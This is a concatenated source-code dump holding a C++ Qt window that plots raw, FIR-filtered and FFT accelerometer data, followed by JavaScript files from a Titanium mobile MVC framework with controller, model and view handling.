PlotFiltData();
else if(plotGroup->checkedId()==2)
PlotFFTData();
}
void MainWindow::PlotRawData()
{
ui->widgetplotX->setVisible(false);
ui->widgetplotY->setVisible(false);
ui->widgetplotZ->setVisible(false);
ui->widgetplotO->setVisible(false);
ui->widgetPlotZoom->setVisible(false);
if(VectorRawDataT.size()>0 && VectorRawDataX.size()>0)
DrawData(ui->widgetplotX, VectorRawDataT,
VectorRawDataX,AxisRawDataX);
if(VectorRawDataT.size()>0 && VectorRawDataY.size()>0)
DrawData(ui->widgetplotY, VectorRawDataT,
VectorRawDataY,AxisRawDataY);
if(VectorRawDataT.size()>0 && VectorRawDataZ.size()>0)
DrawData(ui->widgetplotZ, VectorRawDataT,
VectorRawDataZ,AxisRawDataZ);
if(VectorRawDataT.size()>0 && VectorRawDataO.size()>0)
DrawData(ui->widgetplotO, VectorRawDataT,
VectorRawDataO,AxisRawDataO);
}
void MainWindow::PlotFiltData()
{
ui->widgetplotX->setVisible(false);
ui->widgetplotY->setVisible(false);
ui->widgetplotZ->setVisible(false);
ui->widgetplotO->setVisible(false);
ui->widgetPlotZoom->setVisible(false);
if(VectorRawDataO.size()>0 )
{
if(VectorFilterO.size()==0)
{
vector<double> filter;
for(int i=0;i<NL;i++)
filter.push_back(NUM[i]);
GetFilterData(VectorRawDataX, filter,AxisFiltedX);
GetFilterData(VectorRawDataY, filter,AxisFiltedY);
GetFilterData(VectorRawDataZ, filter,AxisFiltedZ);
GetFilterData(VectorRawDataO, filter,AxisFiltedO);
}
if(VectorRawDataX.size()>0 && VectorRawDataT.size()>0)
DrawData(ui->widgetplotX, VectorRawDataT,
VectorFilterX, AxisFiltedX);
if(VectorRawDataY.size()>0 && VectorRawDataT.size()>0)
DrawData(ui->widgetplotY, VectorRawDataT,
VectorFilterY, AxisFiltedY);
if(VectorRawDataZ.size()>0 && VectorRawDataT.size()>0)
DrawData(ui->widgetplotZ, VectorRawDataT,
VectorFilterZ, AxisFiltedZ);
if(VectorRawDataO.size()>0 && VectorRawDataT.size()>0)
DrawData(ui->widgetplotO, VectorRawDataT,
VectorFilterO, AxisFiltedO);
}
}
void MainWindow::PlotFFTData()
{
if(VectorFFTO.size()<1)
{
GetFFTData(VectorRawDataX,AxisFFTedX);
GetFFTData(VectorRawDataY,AxisFFTedY);
GetFFTData(VectorRawDataZ,AxisFFTedZ);
GetFFTData(VectorRawDataO,AxisFFTedO);
for(int i=0;i<SAMPLE;i++)
VectorFFTT.push_back(100.0*i/SAMPLE);
}
DrawData(ui->widgetplotX,VectorFFTT,VectorFFTX,AxisFFTedX);
DrawData(ui->widgetplotY,VectorFFTT,VectorFFTY,AxisFFTedY);
DrawData(ui->widgetplotZ,VectorFFTT,VectorFFTZ,AxisFFTedZ);
DrawData(ui->widgetplotO,VectorFFTT,VectorFFTO,AxisFFTedO);
}
void MainWindow::DrawData(QCustomPlot *plot,
vector<double> xx,
vector<double> yy,
PlotType TYPE)
{
ui->widgetplotX->setVisible(true);
ui->widgetplotY->setVisible(true);
ui->widgetplotZ->setVisible(true);
ui->widgetplotO->setVisible(true);
ui->widgetPlotZoom->setVisible(false);
int SIZEX = xx.size();
int SIZEY = yy.size();
QVector<double> x(SIZEX),y(SIZEY);
int i=0;
for(auto item:xx)
{
x[i]=item;
i++;
}
int j=0;
for(auto item:yy)
{
y[j]=item;
j++;
}
plot->addGraph();
plot->replot();
plot->graph(0)->setPen(QPen(Qt::blue));
plot->graph(0)->setData(x,y);
plot->setBackground(QColor(100,150,50));
switch (TYPE) {
case AxisRawDataX:
case AxisRawDataY:
case AxisRawDataZ:
case AxisRawDataO:
case AxisFiltedX:
case AxisFiltedY:
case AxisFiltedZ:
case AxisFiltedO:
{
plot->xAxis->setLabel("t/s");
plot->yAxis->setLabel("a/mm^2");
break;
}
case AxisFFTedX:
case AxisFFTedY:
case AxisFFTedZ:
case AxisFFTedO:
{
plot->xAxis->setLabel("fs/Hz");
plot->yAxis->setLabel("a/mm^2");
break;
}
default:
break;
}
plot->rescaleAxes();
plot->replot();
}
void MainWindow::GetFilterData(const vector<double> &signal,
const vector<double> &filter,
PlotType TYPE)
{
if( signal.size() < filter.size() )
Convolution( filter,signal,TYPE);
else
Convolution( signal,filter,TYPE);
}
void MainWindow::GetFFTData(vector<double> &DataVector,PlotType TYPE)
{
int SIZE=DataVector.size();
Complex xx[SIZE];
Complex yy[SAMPLE];
for(int i=0;i<SIZE;i++)
{
xx[i].Update(DataVector[i],0);
}
for(int i=0;i<SAMPLE;i++)
{
yy[i].Update(0,0);
}
FFT(xx,yy,SAMPLE);
switch (TYPE) {
case AxisFFTedX:
for(int i=0;i<SAMPLE;i++)
VectorFFTX.push_back(yy[i].Abs());
break;
case AxisFFTedY:
for(int i=0;i<SAMPLE;i++)
VectorFFTY.push_back(yy[i].Abs());
break;
case AxisFFTedZ:
for(int i=0;i<SAMPLE;i++)
VectorFFTZ.push_back(yy[i].Abs());
break;
case AxisFFTedO:
for(int i=0;i<SAMPLE;i++)
VectorFFTO.push_back(yy[i].Abs());
break;
case AxisTXT:
for(int i=0;i<SAMPLE;i++)
VectorTxtY.push_back(yy[i].Abs());
break;
default:
break;
}
}
void MainWindow::Convolution( const vector<double> &signal,
const vector<double> &filter,
PlotType TYPE)
{
int sigLength = signal.size();
int filLength = filter.size();
//assert( sigLength >= filLength );
int length = sigLength + filLength - 1;
vector<double> x;
for(int i=0;i<length;i++)
x.push_back(0.0);
for( int i=1; i<=length; ++i )
{
x[i] = 0;
if( i < filLength )
for( int j=1; j<=i; ++j )
x[i] += filter[j] * signal[i-j+1];
else if( i <= sigLength )
for( int j=1; j<=filLength; ++j )
x[i] += filter[j] * signal[i-j+1];
else
for( int j=i-sigLength+1; j<=filLength; ++j )
x[i] += filter[j] * signal[i-j+1];
}
switch (TYPE) {
case AxisFiltedX:
for(int i=0;i<x.size();i++)
VectorFilterX.push_back(x[i]);
break;
case AxisFiltedY:
for(int i=0;i<x.size();i++)
VectorFilterY.push_back(x[i]);
break;
case AxisFiltedZ:
for(int i=0;i<x.size();i++)
VectorFilterZ.push_back(x[i]);
break;
case AxisFiltedO:
for(int i=0;i<x.size();i++)
VectorFilterO.push_back(x[i]);
break;
default:
break;
}
}
void MainWindow::ZoomDraw(vector<double> &xx,
vector<double> &yy,
PlotType TYPE)
{
ui->widgetplotX->setVisible(false);
ui->widgetplotY->setVisible(false);
ui->widgetplotZ->setVisible(false);
ui->widgetplotO->setVisible(false);
ui->widgetPlotZoom->setVisible(true);
int SIZEX=xx.size();
int SIZEY=yy.size();
QVector<double> x(SIZEX),y(SIZEY);
int i=0;
for(auto item:xx)
{
x[i]=item;
i++;
}
int j=0;
for(auto item:yy)
{
y[j]=item;
j++;
}
QCustomPlot *pZoom=ui->widgetPlotZoom;
pZoom->addGraph();
pZoom->replot();
pZoom->graph(0)->setPen(QPen(Qt::blue));
pZoom->setBackground(QColor(100,150,50));
switch (TYPE) {
case AxisRawDataX:
case AxisRawDataY:
case AxisRawDataZ:
case AxisRawDataO:
case AxisFiltedX:
case AxisFiltedY:
case AxisFiltedZ:
case AxisFiltedO:
{
pZoom->xAxis->setLabel("t/s");
pZoom->yAxis->setLabel("a/mm^2");
break;
}
case AxisFFTedX:
case AxisFFTedY:
case AxisFFTedZ:
case AxisFFTedO:
{
pZoom->xAxis->setLabel("fs/Hz");
pZoom->yAxis->setLabel("a/mm^2");
break;
}
default:
break;
}
pZoom->graph(0)->setData(x,y);
pZoom->rescaleAxes();
pZoom->replot();
}
//#include "MainWindow.h"
//#include "ui_mainwindow.h"
//#include <QDesktopServices>
//#include <QUrl>
//#include <QDebug>
//#include "qcustomplot.h"
//#include <QFileInfo>
//#include <QFileDialog>
//#include <fstream>
//#include "constants.h"
//#include <fstream>
//#include "FFTCode.h"
//#include "FIRFilterCode.h"
//#include "math.h"
//#include <vector>
//#include <QButtonGroup>
//#include "cfft.h"
//#include "complex.h"
//#include "FirCoeff.h"
//using namespace std;
//MainWindow::MainWindow(QWidget *parent) :
// QMainWindow(parent),
// ui(new Ui::MainWindow)
//{
// ui->setupUi(this);
// this->setMaximumSize(750,500);
// this->setMinimumSize(600,450);
// ui->widgetplotX->setVisible(false);
// ui->widgetplotY->setVisible(false);
// ui->widgetplotZ->setVisible(false);
// ui->widgetplotO->setVisible(false);
// ui->widgetPlotZoom->setVisible(false);
// plotGroup=new QButtonGroup(this);
// plotGroup->addButton(ui->rdbtnRawData,0);
// plotGroup->addButton(ui->rdbtnFiltData,1);
// plotGroup->addButton(ui->rdbtnFFT,2);
// ui->rdbtnRawData->setEnabled(false);
// ui->rdbtnFiltData->setEnabled(false);
// ui->rdbtnFFT->setEnabled(false);
// connect(ui->actionOpen,SIGNAL(triggered()),this,SLOT(fileOpen()));
// connect(ui->actionClose,SIGNAL(triggered()),this,SLOT(close()));
// connect(ui->rdbtnRawData,SIGNAL(clicked()),this,SLOT(rdbtnSlot()));
// connect(ui->rdbtnFiltData,SIGNAL(clicked()),this,SLOT(rdbtnSlot()));
// connect(ui->rdbtnFFT,SIGNAL(clicked(bool)),this,SLOT(rdbtnSlot()));
// connect(ui->xAxisBtn,SIGNAL(clicked()),this,SLOT(axisX()));
// connect(ui->yAxisBtn,SIGNAL(clicked()),this,SLOT(axisY()));
// connect(ui->zAxisBtn,SIGNAL(clicked()),this,SLOT(axisZ()));
// connect(ui->oAxisBtn,SIGNAL(clicked()),this,SLOT(axisO()));
// rubberBand = new QRubberBand(QRubberBand::Rectangle, ui->widgetPlotZoom);
// connect(ui->widgetPlotZoom, SIGNAL(mousePress(QMouseEvent*)), this, SLOT(mousePress(QMouseEvent*)));
// connect(ui->widgetPlotZoom, SIGNAL(mouseMove(QMouseEvent*)), this, SLOT(mouseMove(QMouseEvent*)));
// connect(ui->widgetPlotZoom, SIGNAL(mouseRelease(QMouseEvent*)), this, SLOT(mouseRelease(QMouseEvent*)));
// connect(ui->resetBtn, SIGNAL(clicked()), this, SLOT(slotBtn()));
//}
//void MainWindow::rdbtnSlot()
//{
// if(plotGroup->checkedId()==0)
// drawRawData();
// else if(plotGroup->checkedId()==1)
// drawFiltedData();
// else if(plotGroup->checkedId()==2)
// drawFFT();
//}
//void MainWindow::axisX()
//{
// if(plotGroup->checkedId()==0)
// drawWithZoom(AxisRawDatax);
// else if(plotGroup->checkedId()==1)
// drawWithZoom(AxisFiltedx);
// else if(plotGroup->checkedId()==2)
// drawWithZoom(AxisFFTedx);
//}
//void MainWindow::axisY()
//{
// if(plotGroup->checkedId()==0)
// drawWithZoom(AxisRawDatay);
// else if(plotGroup->checkedId()==1)
// drawWithZoom(AxisFiltedy);
// else if(plotGroup->checkedId()==2)
// drawWithZoom(AxisFFTedy);
//}
//void MainWindow::axisZ()
//{
// if(plotGroup->checkedId()==0)
// drawWithZoom(AxisRawDataz);
// else if(plotGroup->checkedId()==1)
// drawWithZoom(AxisFiltedz);
// else if(plotGroup->checkedId()==1)
// drawWithZoom(AxisFFTedz);
//}
//void MainWindow::axisO()
//{
// if(plotGroup->checkedId()==0)
// drawWithZoom(AxisRawDatao);
// else if(plotGroup->checkedId()==1)
// drawWithZoom(AxisFiltedo);
// else if(plotGroup->checkedId()==1)
// drawWithZoom(AxisFFTedo);
//}
//void MainWindow::mouseMove(QMouseEvent *mevent)
//{
// if(rubberBand->isVisible())
// rubberBand->setGeometry(QRect(rubberOrigin,mevent->pos()).normalized());
//}
//void MainWindow::slotBtn()
//{
// ui->widgetPlotZoom->rescaleAxes();
// ui->widgetPlotZoom->replot();
//}
//void MainWindow::mousePress(QMouseEvent *mevent)
//{
// if(mevent->button()==Qt::RightButton)
// {
// rubberOrigin=mevent->pos();
// rubberBand->setGeometry(QRect(rubberOrigin,QSize()));
// rubberBand->show();
// }
//}
//void MainWindow::mouseRelease(QMouseEvent *mevent)
//{
// Q_UNUSED(mevent);
// if(rubberBand->isVisible())
// {
// const QRect zoomRect=rubberBand->geometry();
// int xpOne,xpTwo,ypOne,ypTwo;
// zoomRect.getCoords(&xpOne,&ypOne,&xpTwo,&ypTwo);
// double xOne=ui->widgetPlotZoom->xAxis->pixelToCoord(xpOne);
// double xTwo=ui->widgetPlotZoom->xAxis->pixelToCoord(xpTwo);
// double yOne=ui->widgetPlotZoom->yAxis->pixelToCoord(ypTwo);
// double yTwo=ui->widgetPlotZoom->yAxis->pixelToCoord(ypTwo);
// ui->widgetPlotZoom->xAxis->setRange(xOne,xTwo);
// ui->widgetPlotZoom->yAxis->setRange(yOne,yTwo);
// rubberBand->hide();
// ui->widgetPlotZoom->replot();
// }
//}
//MainWindow::~MainWindow()
//{
// delete ui;
//}
//void MainWindow::fileOpen()
//{
// QString fileFull;
// QFileInfo fileInfo;
// fileFull=QFileDialog::getOpenFileName();
// fileInfo=QFileInfo(fileFull);
// string fileName=fileInfo.fileName().toStdString();
// string fileSuffix=fileInfo.suffix().toStdString();
// string filePath=fileInfo.absoluteFilePath().toStdString();
// if(fileSuffix == "csv")
// {
// int reg = ReadCSV(filePath);
// if(reg >0)
// {
// ui->rdbtnRawData->setEnabled(true);
// ui->rdbtnFiltData->setEnabled(true);
// ui->rdbtnFFT->setEnabled(true);
// }
// }
//// else if(fileSuffix == "xlsx")
//// {
//// ReadExcel(filePath);
//// }
//// else if(fileSuffix == "txt")
//// {
//// ReadTxt(filePath);
//// }
// else
// {
// }
//}
//int MainWindow::ReadCSV(string filePath)
//{
// ifstream iFile(filePath);
// if(iFile.is_open())
// {
// while(!iFile.eof())
// {
// iFile.getline(buffer,256);
// int reg=sscanf_s(buffer,"%lf,%lf,%lf,%lf",&coor.t,&coor.x,&coor.y,&coor.z);
// if(reg==4)
// {
// coVector.push_back(coor);
// tVectorRawData.push_back(coor.t);
// xVectorRawData.push_back(coor.x);
// yVectorRawData.push_back(coor.y);
// zVectorRawData.push_back(coor.z);
// Signal.push_back(sqrt(coor.x*coor.x+coor.y*coor.y+coor.z*coor.z));
// }
// else
// continue;
// }
// iFile.close();
// }
// else
// {
// qDebug()<<"Cannot open the file!\n";
// }
// return coVector.size();
//}
////void MainWindow::mouseMove(QMouseEvent* event)
////{
//// int x_pos=event->pos().x();
//// int y_pos=event->pos().y();
//// // 把鼠标坐标点 转换为 QCustomPlot 内部坐标值 (pixelToCoord 函数)
//// // coordToPixel 函数与之相反 是把内部坐标值 转换为外部坐标点
//// double x_val = ui->widgetplotY->xAxis->pixelToCoord(x_pos);
//// double y_val = ui->widgetplotY->yAxis->pixelToCoord(y_pos);
//// // 然后打印在界面上
//// ui->textEdit->setText(tr("(%1\n %2\n ||\n %3\n %4)")
//// .arg(x_pos).arg(y_pos).arg(x_val).arg(y_val));
////}
//void MainWindow::drawRawData()
//{
// ui->widgetplotX->setVisible(false);
// ui->widgetplotY->setVisible(false);
// ui->widgetplotZ->setVisible(false);
// ui->widgetplotO->setVisible(false);
// ui->widgetPlotZoom->setVisible(false);
// if(tVectorRawData.size()>0 && xVectorRawData.size()>0)
// DrawData(ui->widgetplotX, tVectorRawData, xVectorRawData);
// if(tVectorRawData.size()>0 && yVectorRawData.size()>0)
// DrawData(ui->widgetplotY, tVectorRawData, yVectorRawData);
// if(tVectorRawData.size()>0 && zVectorRawData.size()>0)
// DrawData(ui->widgetplotZ, tVectorRawData, zVectorRawData);
// if(tVectorRawData.size()>0 && Signal.size()>0)
// DrawData(ui->widgetplotO, tVectorRawData, Signal);
//}
//void MainWindow::DrawFFTAxis(QCustomPlot *plot, vector<double> xx, vector<double> yy)
//{
// ui->widgetplotX->setVisible(true);
// ui->widgetplotY->setVisible(true);
// ui->widgetplotZ->setVisible(true);
// ui->widgetplotO->setVisible(true);
// ui->widgetPlotZoom->setVisible(false);
// plot->setVisible(false);
// QVector<double> x(SAMPLE),y(SAMPLE);
// for(int i=0;i<SAMPLE;i++)
// {
// x[i]=xx[i];
// y[i]=yy[i];
// }
// QMargins margins(10,5,5,5);
// plot->addGraph();
// plot->xAxis->setRange(0,SAMPLE);
// plot->graph(0)->setPen(QPen(Qt::yellow));
// plot->xAxis->setLabel("fs/Hz");
// plot->yAxis->setLabel("a/mm^2");
// plot->axisRect()->setMargins(margins);
// plot->setBackground(QColor(100,150,50));
// plot->graph(0)->setData(x,y);
// plot->yAxis->rescale();
// plot->replot();
//}
//void MainWindow::DrawData(QCustomPlot *plot, vector<double> xx, vector<double> yy)
//{
// ui->widgetplotX->setVisible(true);
// ui->widgetplotY->setVisible(true);
// ui->widgetplotZ->setVisible(true);
// ui->widgetplotO->setVisible(true);
// ui->widgetPlotZoom->setVisible(false);
// plot->setVisible(false);
// QVector<double> x(15000),y(15000);
// int i=0;
// for(auto item:xx)
// {
// x[i]=item;
// i++;
// if(i>10000)
// break;
// }
// int j=0;
// for(auto item:yy)
// {
// y[j]=item;
// j++;
// if(j>10000)
// break;
// }
// plot->addGraph();
// plot->xAxis->setRange(0,i);
// plot->graph(0)->setPen(QPen(Qt::blue));
// plot->graph(0)->setData(x,y);
// plot->xAxis->setLabel("t/s");
// plot->yAxis->setLabel("a/mm");
// plot->setBackground(QColor(100,150,50));
// plot->replot();
//}
//void MainWindow::drawWithZoom(PlotType PlotType)
//{
// ui->widgetplotX->setVisible(false);
// ui->widgetplotY->setVisible(false);
// ui->widgetplotZ->setVisible(false);
// ui->widgetplotO->setVisible(false);
// ui->widgetPlotZoom->setVisible(true);
// switch(PlotType)
// {
// case AxisRawDatax:
// Zoom(tVectorRawData,xVectorRawData);
// break;
// case AxisRawDatay:
// Zoom(tVectorRawData,yVectorRawData);
// break;
// case AxisRawDataz:
// Zoom(tVectorRawData,zVectorRawData);
// break;
// case AxisRawDatao:
// Zoom(tVectorRawData,Signal);
// break;
// case AxisFiltedx:
// Zoom(tVectorRawData,xVectorFilted);
// break;
// case AxisFiltedy:
// Zoom(tVectorRawData,yVectorFilted);
// break;
// case AxisFiltedz:
// Zoom(tVectorRawData,zVectorFilted);
// break;
// case AxisFiltedo:
// Zoom(tVectorRawData,FirResult);
// break;
// case AxisFFTedx:
// Zoom(xFFTx,xVectorFFT);
// break;
// case AxisFFTedy:
// Zoom(xFFTx,yVectorFFT);
// break;
// case AxisFFTedz:
// Zoom(xFFTx,zVectorFFT);
// break;
// case AxisFFTedo:
// Zoom(xFFTx,oVectorFFT);
// break;
// }
//}
//void MainWindow::Zoom(vector<double> xx, vector<double> yy)
//{
// QVector<double> x(10000),y(10000);
// int i=0;
// for(auto item:xx)
// {
// x[i]=item;
// i++;
// if(i>10000)
// break;
// }
// int j=0;
// for(auto item:yy)
// {
// y[j]=item;
// j++;
// if(j>10000)
// break;
// }
// QCustomPlot *pZoom=ui->widgetPlotZoom;
// pZoom->addGraph();
// pZoom->xAxis->setRange(0,i);
// pZoom->graph(0)->setPen(QPen(Qt::blue));
// pZoom->graph(0)->setData(x,y);
// pZoom->xAxis->setLabel("t/s");
// pZoom->yAxis->setLabel("a/mm");
// pZoom->setBackground(QColor(100,150,50));
// pZoom->yAxis->rescale();
// pZoom->replot();
// pZoom->show();
//}
//void MainWindow::drawFiltedData()
//{
// ui->widgetplotX->setVisible(false);
// ui->widgetplotY->setVisible(false);
// ui->widgetplotZ->setVisible(false);
// ui->widgetplotO->setVisible(false);
// ui->widgetPlotZoom->setVisible(false);
// if(Signal.size()>0)
// {
// if(FirResult.size()==0)
// {
// vector<double> filter;
// for(int i=0;i<NL;i++)
// filter.push_back(NUM[i]);
// conv(zVectorRawData, filter,AxisFiltedx);
// conv(xVectorRawData, filter,AxisFiltedy);
// conv(yVectorRawData, filter,AxisFiltedz);
// conv(Signal, filter,AxisFiltedo);
// }
// if(xVectorFilted.size()>0)
// {
// DrawData(ui->widgetplotX, tVectorRawData, xVectorFilted);
// }
// if(yVectorFilted.size()>0)
// {
// DrawData(ui->widgetplotY, tVectorRawData, yVectorFilted);
// }
// if(zVectorFilted.size()>0)
// {
// DrawData(ui->widgetplotZ, tVectorRawData, zVectorFilted);
// }
// if(FirResult.size()>0)
// {
// DrawData(ui->widgetplotO, tVectorRawData, FirResult);
// }
// }
//}
//void MainWindow::conv( const vector<double> &signal, const vector<double> &filter,PlotType PlotType)
//{
// if( signal.size() < filter.size() )
// convolution( filter, signal,PlotType);
// else
// convolution( signal, filter,PlotType);
//}
//void MainWindow::convolution( const vector<double> &signal,
// const vector<double> &filter,PlotType PlotType)
//{
// int sigLength = signal.size();
// int filLength = filter.size();
// //assert( sigLength >= filLength );
// int length = sigLength + filLength - 1;
// vector<double> x;
// for(int i=0;i<length;i++)
// x.push_back(0.0);
// for( int i=1; i<=length; ++i )
// {
// x[i] = 0;
// if( i < filLength )
// for( int j=1; j<=i; ++j )
// x[i] += filter[j] * signal[i-j+1];
// else if( i <= sigLength )
// for( int j=1; j<=filLength; ++j )
// x[i] += filter[j] * signal[i-j+1];
// else
// for( int j=i-sigLength+1; j<=filLength; ++j )
// x[i] += filter[j] * signal[i-j+1];
// }
// switch (PlotType) {
// case AxisFFTedo:
// for(int i=0;i<SAMPLE;i++)
// FirResult.push_back(x[i]);
// break;
// case AxisFFTedx:
// for(int i=0;i<SAMPLE;i++)
// xVectorFilted.push_back(x[i]);
// break;
// case AxisFFTedy:
// for(int i=0;i<SAMPLE;i++)
// yVectorFilted.push_back(x[i]);
// break;
// case AxisFFTedz:
// for(int i=0;i<SAMPLE;i++)
// zVectorFilted.push_back(x[i]);
// break;
// default:
// break;
// }
//}
//void MainWindow::drawFFT()
//{
// if(oVectorFFT.size()<1)
// {
// FFTData(xVectorRawData,AxisFFTedx);
// FFTData(yVectorRawData,AxisFFTedy);
// FFTData(zVectorRawData,AxisFFTedz);
// FFTData(Signal,AxisFFTedo);
// for(int i=0;i<SAMPLE;i++)
// xFFTx.push_back(100*i/SAMPLE);
// }
// DrawFFTAxis(ui->widgetplotX,xFFTx,xVectorFFT);
// DrawFFTAxis(ui->widgetplotY,xFFTx,yVectorFFT);
// DrawFFTAxis(ui->widgetplotZ,xFFTx,zVectorFFT);
// DrawFFTAxis(ui->widgetplotO,xFFTx,oVectorFFT);
//}
//void MainWindow::FFTData(vector<double> &DataVector,PlotType PlotType)
//{
// int SIZE=DataVector.size();
// Complex xx[SIZE];
// Complex yy[SAMPLE];
// for(int i=0;i<SIZE;i++)
// {
// xx[i].Update(DataVector[i],0);
// }
// for(int i=0;i<SAMPLE;i++)
// {
// yy[i].Update(0,0);
// }
// FFT(xx,yy,SAMPLE);
// switch (PlotType) {
// case AxisFFTedo:
// for(int i=0;i<SAMPLE;i++)
// oVectorFFT.push_back(yy[i].Abs());
// break;
// case AxisFFTedx:
// for(int i=0;i<SAMPLE;i++)
// xVectorFFT.push_back(yy[i].Abs());
// break;
// case AxisFFTedy:
// for(int i=0;i<SAMPLE;i++)
// yVectorFFT.push_back(yy[i].Abs());
// break;
// case AxisFFTedz:
// for(int i=0;i<SAMPLE;i++)
// zVectorFFT.push_back(yy[i].Abs());
// break;
// default:
// break;
// }
//}
|
aaeb00e17fcf6c90381cb5969fd60050e734c162
|
[
"C",
"C++"
] | 32 |
C++
|
fycookie/PD
|
d11276ec6ac5f26e9bb4deb4a5befe618f9c68e4
|
79cca3f50bdbeb062fdf4051c2aa398040feacfc
|
refs/heads/master
|
<repo_name>monostere0/Ti.MVC.NET<file_sep>/MVC/Views/iOS/Home/Index.js
function Index() {
var txtName = UI.Element('textField')
.attr({ borderStyle: Ti.UI.INPUT_BORDERSTYLE_ROUNDED,
color: '#336699',
top: 60,
left: 10,
width: 300,
height: 40}).get();
var txtEmail = UI.Element('textField')
.attr({ borderStyle: Ti.UI.INPUT_BORDERSTYLE_ROUNDED,
color: '#336699',
top: 10,
left: 10,
width: 300,
height: 40}).get();
var btnSubmit = UI.Element('button')
.attr({ borderStyle: Ti.UI.INPUT_BORDERSTYLE_ROUNDED,
color: '#336699',
top: 110,
left: 10,
width: 300,
title: 'Submit',
height: 40
}).on('click', function() {
MVC.InvokeController('Home', 'About', txtName.value, txtEmail.value);
})
.get();
UI.Element('window')
.attr({
title: 'hello',
backgroundColor: '#eeeeee'
})
.append([txtName, txtEmail, btnSubmit])
.get().open({transition:Ti.UI.iPhone.AnimationStyle.FLIP_FROM_LEFT});
}
module.exports = Index;<file_sep>/MVC/mvc.js
var MVC = (function () {
// Helpers
var utils = require('/MVC/utils'),
platform = (function (os) {
return (/iphone|ipad/i.test(os)) ?
'iOS' : (/android/i.test(os)) ? 'Android' : 'MobileWeb';
})(Ti.Platform.osname),
pathify = function (path) {
return path.replace(/Views\//i, function (e) {
return e + platform + '/';
});
},
include = {
'view': function () {
var d = require(utils._format('MVC/Views/{0}/{1}/{2}', platform, arguments[0], arguments[1]));
switch (arguments.length) {
case 2:
return new d();
break;
case 3:
d.prototype.ViewData = arguments[2];
return new d();
break;
case 4:
d.prototype.ViewData = arguments[2];
return new d(arguments[3]);
break;
}
},
'model': function (a) {
var b = require(utils._format('/MVC/Models/{0}Model', a));
return ('function' === typeof b) ? new b() : b;
},
'controller': function (a) {
var b = require('/MVC/Controllers/' + a + 'Controller');
return ('function' === typeof b) ? new b() : b;
}
},
//Classes
Controller = function (name) {
var that = this;
this.Name = name;
this.Methods = [];
this.setAction = function (name, callback) {
this.Methods.push({
'Controller': that.Name,
'Name': name,
'Method': callback,
'ViewData': {},
'redirectToAction': function () {
if (!arguments.length) {
throw 'MVC: RedirectToAction takes at least one argument.';
} else if (arguments.length == 1) {
return invokeController(that.Name, arguments[0]);
} else if (arguments.length > 2) {
Array.prototype.unshift.apply(arguments, [that.Name]);
return invokeController.apply(null, arguments);
}
},
'View': function () {
if (arguments.length == 0) {
if (utils._empty(this.ViewData)) {
return include.view(this.Controller, this.Name);
} else {
return include.view(this.Controller, this.Name, this.ViewData);
}
} else if (arguments.length == 1) {
if (utils._empty(this.ViewData)) {
switch (utils._type(arguments[0])) {
case 'string':
if (Ti.Filesystem.getFile(pathify(arguments[0])).exists()) {
var t = require(pathify(arguments[0].replace('.js', '')));
return ('function' === typeof t) ? new t() : t;
}
break;
case 'object':
return include.view(this.Controller, this.Name, {}, arguments[0]);
break;
case 'array':
return include.view(this.Controller, this.Name, {}, arguments[0]);
break;
}
} else {
switch (utils._type(arguments[0])) {
case 'string':
if (Ti.Filesystem.getFile(arguments[0]).exists()) {
var t = require(pathify(arguments[0].replace('.js', '')));
if ('function' === typeof t) {
t.prototype.ViewData = this.ViewData;
return new t();
} else {
t.ViewData = this.ViewData;
return t;
}
}
break;
case 'object':
return include.view(this.Controller, this.Name, this.ViewData, arguments[0]);
break;
case 'array':
return include.view(this.Controller, this.Name, this.ViewData, arguments[0]);
break;
}
}
} else if (arguments.length == 2) {
if (utils._type(arguments[0], arguments[1]) == ('string:object' || 'string:array')) {
if (utils._empty(this.ViewData)) {
if (Ti.Filesystem.getFile(pathify(arguments[0])).exists()) {
var t = require(pathify(arguments[0].replace('.js', '')));
return ('function' === typeof t) ? new t(arguments[1]) : t;
}
} else {
if (Ti.Filesystem.getFile(arguments[0]).exists()) {
var t = require(pathify(arguments[0].replace('.js', '')));
if ('function' === typeof t) {
t.prototype.ViewData = this.ViewData;
return new t(arguments[1]);
} else {
t.ViewData = this.ViewData;
return t;
}
}
}
}
}
}
});
return this;
}
this.create = function () {
return (function () {
var Name = that.Name,
Methods = that.Methods,
_temp;
(function () {
_temp = {};
for (var i = 0; i < Methods.length; i++) {
_temp[Methods[i].Name] = (function (a) {
return function () {
return function () {
return a.Method.apply(a, arguments);
}
}
})(Methods[i]);
}
})();
return {
Methods: _temp
}
})();
}
},
Model = function (name) {
var that = this;
this.Properties = {};
this.setProperty = function () {
if (arguments.length < 2) {
throw 'MVC.Model takes at least two arguments.';
}
this.Properties[arguments[0]] = {
value: arguments[1],
isRequired: arguments[2] || false,
regex: arguments[3] || false,
errorMessage: arguments[4] || false
}
return this;
};
this.create = function () {
return (function () {
var Model = function () {
var _props = that.Properties;
this.getProperties = function () {
var _ret = {};
for (var p in _props) {
_ret[p] = _props[p].value;
}
return (!arguments.length) ? _ret : _ret[arguments[0]];
}
this.Fill = function (obj) {
for (var p in obj) {
if (_props.hasOwnProperty(p)) {
_props[p].value = obj[p];
}
}
return this;
}
this.getErrors = function () {
var _err = {};
for (var p in _props) {
if (_props[p].isRequired && utils._emptyString(_props[p].value)) {
_err[p] = _props[p].errorMessage;
}
if (_props[p].regex && !_props[p].regex.test(_props[p].value)) {
_err[p] = _props[p].errorMessage;
}
}
return _err;
}
this.isValid = function () {
var _bool = true;
for (var p in _props) {
if (_props[p].isRequired && utils._emptyString(_props[p].value)) {
_bool = false;
}
if (_props[p].regex && !_props[p].regex.test(_props[p].value)) {
_bool = false;
}
}
return _bool;
}
return this;
};
return new Model();
})();
}
return this;
},
//Factory functions
createController = function (name) {
return new Controller(name);
},
createModel = function (name) {
return new Model(name);
},
//Invoker functions
invokeModel = function (name) {
return include.model(name);
},
invokeController = function () {
if (arguments.length < 1) {
throw 'MVC.Invoke requires a minimum of one argument.';
}
var ctrlMethod;
if (arguments.length == 1) {
ctrlMethod = include.controller(arguments[0]).Methods['Index'];
if ('undefined' === typeof ctrlMethod) {
throw utils._format('MVC.Invoke: {0}Controller does not have an Index method', arguments[0]);
}
return ctrlMethod.call(ctrlMethod).apply(ctrlMethod);
} else {
ctrlMethod = include.controller(arguments[0]).Methods[arguments[1]];
}
if (arguments.length == 2) {
return ctrlMethod.call(ctrlMethod).apply(ctrlMethod);
} else if (arguments.length > 2) {
Array.prototype.splice.apply(arguments, [0, 2]);
return ctrlMethod.call(ctrlMethod).apply(ctrlMethod, arguments);
}
};
return {
InvokeController: invokeController,
InvokeModel: invokeModel,
Controller: createController,
Model: createModel,
}
})();
module.exports = MVC;
<file_sep>/MVC/Views/Android/Home/About.js
